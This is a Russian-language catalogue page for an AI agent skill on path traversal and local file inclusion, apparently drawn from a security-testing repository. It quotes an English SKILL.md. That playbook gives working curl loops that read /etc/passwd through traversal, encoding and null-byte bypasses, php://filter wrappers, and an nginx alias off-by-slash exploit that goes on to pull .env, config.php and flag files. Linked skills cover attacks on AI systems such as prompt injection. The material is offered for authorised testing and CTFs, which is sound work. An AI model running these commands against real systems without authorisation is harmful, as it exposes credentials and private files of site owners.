lfi
Что он делает
Этот скилл ведёт агента через проверку того, позволяет ли сайт читать файлы за пределами нужной папки. Он нужен специалистам по безопасности, которые проверяют функции скачивания и показа файлов.
Когда использовать
- ✓Когда страница принимает параметр файла или пути, и вы хотите проверить, можно ли с его помощью читать другие файлы.
- ✓Когда сканирование указывает на функцию шаблонов, загрузки или статических файлов.
- ✓Когда результат разведки называет параметр файла, который нужно проверить в первую очередь.
Ссылка на скилл
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.mdСкопируйте и вставьте её в ваш ИИ (Claude, ChatGPT или Cursor) с просьбой следовать инструкциям.
Как использовать
Самый простой способ: скопируйте сообщение и вставьте его в свой ИИ. Он прочитает скилл и выполнит инструкции.
Готовое сообщение для вставки
Для Claude Code, Codex или Cursor: запустите в папке проекта, и скилл установится.
Скачайте SKILL.md и положите его в папку скиллов вашего агента.
Пример запроса к вашему ИИ
“Можете проверить, можно ли через параметр файла на моей странице загрузки читать файлы за пределами папки?”
5 новых скиллов в неделю. 1 минута чтения.
Как это работает
Агент пробует приёмы с путями, например шаги к родительской папке и формы обхода фильтров, затем проверяет, показывает ли ответ файл, к которому не должен быть доступ.
Технический текст (оригинальный SKILL.md)
Оригинальный текст автора на английском, прямо с GitHub.
Path Traversal / Local File Inclusion (LFI)
Exploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download/display endpoints, template inclusion, or static resource handlers.
Precondition — Use Recon Handoff First
If the recon handoff (recon/SUMMARY.md RECON_HANDOFF: line) names a
specific file/path parameter (e.g. /<endpoint>?file=, /<endpoint>?path=,
/<endpoint>?name=), START with the parameter named in the handoff. Do
NOT run gobuster/ffuf/dirb against the host before testing the
handoff parameter — recon already enumerated the surface. The Detection
block below is for engagements where NO recon handoff exists.
The first 3 commands you run in this skill MUST target the recon-named parameter with these payload classes (one per command):
- plain traversal —
../../../etc/passwd - stripped-traversal bypass —
....//....//....//etc/passwd - PHP wrapper —
php://filter/convert.base64-encode/resource=<file>
Only if all three return baseline-matched response (per the
§"Response Body Verification" check) should you consider broader endpoint
discovery — and that discovery belongs in exploit/PIVOT.md first,
documenting (a) what payload classes you tried against the handoff
parameter, (b) why the handoff vector is exhausted, (c) the new surface
you are moving to.
Detection
# Basic path traversal probes on common parameters
for param in file name path page template doc include src resource filename load; do
resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd")
[ "$resp" != "404" ] && echo "Param '$param' returned $resp"
done
# Test traversal depth
curl -s 'http://<TARGET>/file?name=../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../../etc/passwd'
# URL-encoded traversal
curl -s 'http://<TARGET>/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
# Double URL-encoded (when server decodes twice)
curl -s 'http://<TARGET>/file?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd'
# Null byte (older PHP < 5.3.4)
curl -s 'http://<TARGET>/file?name=../../../etc/passwd%00.jpg'
# Path in URL path segment
curl -s 'http://<TARGET>/static/..%2f..%2f..%2fetc/passwd'
curl -s 'http://<TARGET>/files/....//....//....//etc/passwd'
Server-Level Path Traversal (Nginx Alias Off-by-Slash)
Distinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy / static-asset / admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending /, BEFORE moving to parameter fuzzing — this probe is one curl per prefix, near-zero cost, high signal.
Fingerprint (any of these is enough to test):
Server: nginxresponse header- A path
/prefix(no trailing slash) returns 301 redirecting to/prefix/— canonical signature oflocation /prefix(no slash) with a separatelocation /prefix/(with slash) - Static assets served under a path prefix (
/static,/assets,/images,/admin,/files,/uploads)
Exploit pattern — append ../ DIRECTLY after the prefix (no slash between):
# For each prefix discovered in recon (gobuster/ffuf or 301-redirect probe):
for prefix in admin static assets images files uploads docs api; do
STATUS=$(curl -s -o /tmp/alias_${prefix}.txt -w '%{http_code}' "http://<TARGET>/${prefix}../etc/passwd")
SIZE=$(wc -c < /tmp/alias_${prefix}.txt)
echo "${prefix}: status=${STATUS} size=${SIZE}"
grep -c 'root:' /tmp/alias_${prefix}.txt
done
# Then walk parents to find sensitive files near the alias root:
PREFIX="admin" # the winning prefix from above
for target in etc/passwd .env flag.txt flag config.php settings.py ../.env ../flag.txt; do
curl -s "http://<TARGET>/${PREFIX}../${target}" | head -5
done
Why it works: when location /prefix lacks the trailing slash but alias /target/ has one, nginx strips the URI's literal /prefix portion and concatenates the rest with the alias target. Request /prefix../foo → nginx removes /prefix → leaves ../foo → resolves against /target/ → /target/../foo = parent-directory access.
Distinguishing from root directive: only alias is affected. A location /static { root /var/www/; } block is NOT vulnerable to this — nginx appends the FULL request URI to the root path, so /static../etc/passwd yie
Частые вопросы
Он сначала запускает широкие сканирования?
Нет. Скилл указывает проверять названный параметр из предыдущей разведки до широкого перебора папок.
Охватывает ли он обёртки PHP?
Да, он охватывает обёртки PHP, которые в некоторых настройках могут читать или запускать файлы.
Что считается успешной проверкой?
Скилл сравнивает ответы с исходным, чтобы подтвердить, что был возвращён реальный файл.
Подробности
Оригинальное описание автора
Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure.
Популярность
- Звёзды на GitHub
- 6.5k
- Место в рейтинге
- #14069
- Лицензия
- Apache-2.0
- Обновлён
- 01.11.2026
Комментарии
- …
Другие скиллы из этого репозитория
detector-overview
6.5kПомогает агенту читать код, который отметил сканер, и решать, какие отмеченные места являются настоящими ошибками безопасности, а какие ложными срабатываниями.
exploiter-overview
6.5kПомогает агенту объединить несколько подтверждённых уязвимостей в одну цепочку проверки и понять, насколько далеко может зайти эта цепочка.
llm-redteam-overview
6.5kПомогает агенту найти нужное руководство по red-team тестированию ИИ среди 15 групп тактик, от prompt injection до злоупотреблений моделью.
aatmf-t01-prompt-injection
6.5kОбъясняет prompt injection, при которой скрытые инструкции пытаются переопределить ИИ-систему, чтобы тестировщики безопасности могли её проверить.
Похожие скиллы
reverse-engineer-anything
422kПомогает агенту изучить готовые приложения и пакеты, объяснить их функции, сравнить версии или помочь с пересборкой через REA.
1password
394kПомогает агенту настроить командную строку 1Password, войти в нее и читать или подставлять секреты, не выводя их значения в чат.
healthcheck
394kПомогает агенту проверить компьютер или сервер, на котором работает OpenClaw, на риски безопасности, такие как SSH, файрвол, обновления и резервные копии, а затем предложить безопасные исправления.